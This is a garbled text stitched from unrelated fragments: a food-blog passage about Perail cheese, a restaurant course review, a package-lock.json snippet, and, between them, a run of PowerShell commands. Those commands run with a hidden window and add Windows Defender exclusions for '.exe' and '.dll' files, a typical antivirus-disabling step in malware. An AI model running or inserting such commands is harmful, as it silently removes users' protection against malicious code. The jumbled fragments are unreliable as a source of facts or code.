Jeremy had repeated a few times of this cheese before we decided to give it a try, and it was Perail. This was made from Sheep Milk, and yes, it was of very powerful ‘farm’ and ‘animal’ flavor. A little too strong for my liking, but I reckoned it did not harm to learn mor...
Command "Add-MpPreference -ExclusionExtension '.exe'"powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension '.dll'"powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension 'exe'"powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionE...
Then it was our poultry course –Roasted Chicken Maransin, Artichoke Puree & Black Truffle.Very tender white chicken meat, but I would say the risotto was much more memorable. We took a break before our cheese course, and as Jeremy walked over, he came along with his could-not-be-better...
XJlaWWtPO35D+ZImoC3KWejX64o+yPGxhWSTzfg==" }, "node_modules/color-convert": { "version": "1.9.3", "resolved": "https://registry.npmmirror.com/color-convert/-/color-convert-1.9.3.tgz", "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYA...